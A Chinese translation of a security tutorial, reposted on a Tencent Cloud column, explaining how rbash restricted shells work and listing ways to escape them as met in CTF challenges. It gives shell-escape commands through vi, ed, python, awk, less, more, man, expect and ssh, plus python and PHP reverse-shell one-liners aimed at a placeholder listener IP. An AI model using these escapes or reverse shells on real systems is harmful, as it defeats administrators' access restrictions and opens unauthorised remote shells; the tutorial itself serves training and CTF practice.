前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >「翻译」 如何Bypass rbash

「翻译」 如何Bypass rbash

作者头像
重生信息安全
发布2020-10-26 16:44:14
1.1K0
发布2020-10-26 16:44:14
举报
文章被收录于专栏:重生信息安全重生信息安全

前言

我们都知道安全分析师和黑客的关系像tom和jerry一样,一个人采取措施加强安全等级,另外一个人试图绕过它。这种类似的情况出现在我解决CTF挑战的时候,总是一个新类型的配置错误来帮我学习不当执行配置的保护。

在本文中,我们会讨论关于有限的shell或者bash。它常出现在许多CTF挑战中,并且我们将基于多种方法学习如何bypass rbash。

以下是使用rbash的CTF挑战

  • Happycorp:1 Vulnhub Walkthrough
  • Development: Vulnhub Walkthrough
表中的内容
  • 受限shell
  • rbash中的限制
  • rbash的优点
  • rbsh的缺点
  • 多种方法绕过rbash
受限制的外壳rbash

一个受限制的shell常常在一个环境中要比标准版本的shell更加受控制,这意味着如果bash以rbash启动,或者使用-r选项调用,那么这个shell将被限制。

rbash中的限制

它的行为和bash一样,不同之处在于不允许执行以下操作

  • cd command 改变目录
  • 路径(设置或者取消)
  • ENV 又称为BASH_ENV (环境设置/取消)
  • 导入方法
  • 指定包含参数/的文件名
  • 指定包含参数-的文件名
  • 使用>、>>、>|、<>、>&、&>的输出重定向
  • 使用set + r 或者 set +o 关闭限制
rbash的好处

rbash经常用于联合 chroot jail 使用,以限制在整个过程中的访问权限

rbash的缺点

当一个shell 脚本命令被执行时,rbash 会取消任何在不足以允许不被完全信任的代码执行

为用户开启受限外壳rbash

如上所述,rbash 会控制用户的bash shell 权限并且只允许执行被信任的命令,这意味着登录的用户只能运行某些被选定的命令。为了控制用户的bash命令,任意用户想要执行或者开启受限制的shell,请按以下步骤。

1、创建本地用户ignite

2、设置密码

3、在本地用户上设置usermod 开启rbash

4、在/etc/passwd的帮助下,确定用户可访问的shell

adduser ignite
usermod -s /bin/rbash ignite
绕过 rbash的方法

1、使用编辑器绕过rbash

  • vi 编辑器
  • ed编辑器

2、使用一行代码绕过rbash

  • python
  • perl
  • awk

3、通过反向shell绕过rbash

4、使用系统二进制文件绕过rbash

  • more
  • less
  • man

5、使用Expect绕过rbash

6、通过SSH绕过rbash

一、使用编辑器绕过rbash

现在假设你以本地用户的权限进行了主机登录,并且发现已经登录的用户是rbash shell的一部分,因此你不能运行一些系统命令,例如cd(改变目录)因为rbash收到了限制

现在有一个问题:在这种情况下你要怎么办?

答案是:使用编辑器程序来进行受限模式的绕过。

ssh ignite@192.168.1.103
cd /etc
1、vi 编辑器

所以你可以使用vi 编辑器并且它会处于编辑器模式下,此时你需要运行以下命令打开"sh:bourne shell" 代替rbash

vi
:set shell=/bin/sh
:shell

现在,如果你试图访问/etc目录,你将会看到你可以运行cd & pwd 命令了,正如以下所示。

2、ed编辑器

你也可以使用ed编辑器,它用起来非常简单就和cat差不多,它会提供内联编辑模式。在你使用以下命令的时候会调用"sh:bourne shell"

ed
! '/bin/sh

现在,如果你试图访问/etc目录,你将会看到你可以运行cd & pwd 命令了,正如以下所示。

还有很多编辑器像pico和nano,你需要自己去尝试绕过rbash环境。

二、使用一行代码绕过rbash

1、python

你也可以选择python如下所示命令作为一行代码导入"sh:bourne shell" ,并且生成合适的sh shell 而不是rbash,如下所示我们可以访问/etc 目录没有任何限制。

python -c 'import os; os.system("/bin/sh");'
python3 -c 'import os; os.system("/bin/sh");'
2、perl

同样的,你可以选择perl如以下命令,生成合适的sh shell 而不是rbash,如下所示我们可以访问/etc 目录没有任何限制。

3、awk

同样的,你可以选择awk如以下命令作为一行代码导入"sh:bourne shell",生成合适的 sh shell 而不是rbash,如下所示,我们可以访问/etc 目录没有任何限制。

awk 'BEGIN {system("/bin/sh")}'

三、通过反向shell绕过rbash

1、python

你也可以选择反向shellcode来绕过rbash,这里我们使用python反向shellcode,这会将"sh:bourne shell"抛给使用netcat 监听的机器(在本例中是kali linux)

nc -lvp 1234

在监听之后,我们需要运行如下命令

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("LISTENING IP",LISTENING PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

现在,如果你试图访问/etc目录,你将会看到你可以运行cd & pwd 命令了,正如以下所示。

2、PHP

同样的,你可以在需要执行的主机上使用php反向shellcode,在你监听的IP上就会获得反向连接的shell。

php -r '$sock=fsockopen("LISTENING IP",LISTENING PORT);exec("/bin/sh -i <&3 >&3 2>&3");'
现在,如果你试图访问/etc目录,你将会看到你可以运行cd & pwd 命令了,正如以下所示。

四、使用二进制文件绕过rbash

非常少的人知道这点,某些系统二进制程序(例如less,more,head,tail,man等)对于帮助绕过受限的环境非常有效。

考虑一种情况,你在当前的目录下有一个日志文件名为ignite.txt,你允许一部分的命令来读取这个日志文件例如more或less。

1、more

通过执行以下命令获取/bin/more程序的特权来绕过受限制的环境

!'sh'

现在如果你试图访问/etc 目录,再次尝试那么你会看到你能够执行cd pwd命令,如下所示

2、less

通过执行以下命令获取/bin/less程序的特权来绕过受限制的环境

less ignite.txt
!'sh'

现在如果你试图访问/etc 目录,再次尝试那么你会看到你能够执行cd pwd命令,如下所示

3、man

通过执行以下命令获取/bin/man程序的特权来绕过受限制的环境

man man
!'sh'

现在如果你试图访问/etc 目录,再次尝试那么你会看到你能够执行cd pwd命令,如下所示

(这张图作者应该是贴错了)

五、使用expect程序绕过rbash

Expect是一个unix下的程序,它可以根据脚本与其他程序交互来进行对话,在脚本之后,Expect知道程序期待什么,然后给它正确的回复。

在rbash shell下执行以下命令,可以获取bin/usr/expect的特权来绕过受限的环境。

expect
spwan sh

现在如果你试图访问/etc 目录,再次尝试那么你会看到你能够执行cd pwd命令,如下所示

六、通过ssh绕过rbash

如果你知道属于在rbash shell部分中ssh的用户认证凭据,那么你可以使用以下命令通过ssh来破解jail 然后绕过rbash获得合适的权限

ssh ignite@192.168.1.103 -t "bash --noprofile"

现在如果你试图访问/etc 目录,再次尝试那么你会看到你能够执行cd pwd命令,如下所示

参考:http : //manpages.ubuntu.com/manpages/cosmic/man1/rbash.1.html

原文:https://www.hackingarticles.in/multiple-methods-to-bypass-restricted-shell/

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-09-30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 重生信息安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
    • 表中的内容
      • 受限制的外壳rbash
        • rbash中的限制
          • rbash的好处
            • rbash的缺点
              • 为用户开启受限外壳rbash
                • 绕过 rbash的方法
                • 一、使用编辑器绕过rbash
                  • 1、vi 编辑器
                    • 2、ed编辑器
                    • 二、使用一行代码绕过rbash
                      • 1、python
                        • 2、perl
                          • 3、awk
                          • 三、通过反向shell绕过rbash
                            • 1、python
                              • 2、PHP
                              • 四、使用二进制文件绕过rbash
                                • 1、more
                                  • 2、less
                                    • 3、man
                                    • 五、使用expect程序绕过rbash
                                    • 六、通过ssh绕过rbash
                                    相关产品与服务
                                    Elasticsearch Service
                                    腾讯云 Elasticsearch Service(ES)是云端全托管海量数据检索分析服务,拥有高性能自研内核,集成X-Pack。ES 支持通过自治索引、存算分离、集群巡检等特性轻松管理集群,也支持免运维、自动弹性、按需使用的 Serverless 模式。使用 ES 您可以高效构建信息检索、日志分析、运维监控等服务,它独特的向量检索还可助您构建基于语义、图像的AI深度应用。
                                    领券
                                    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档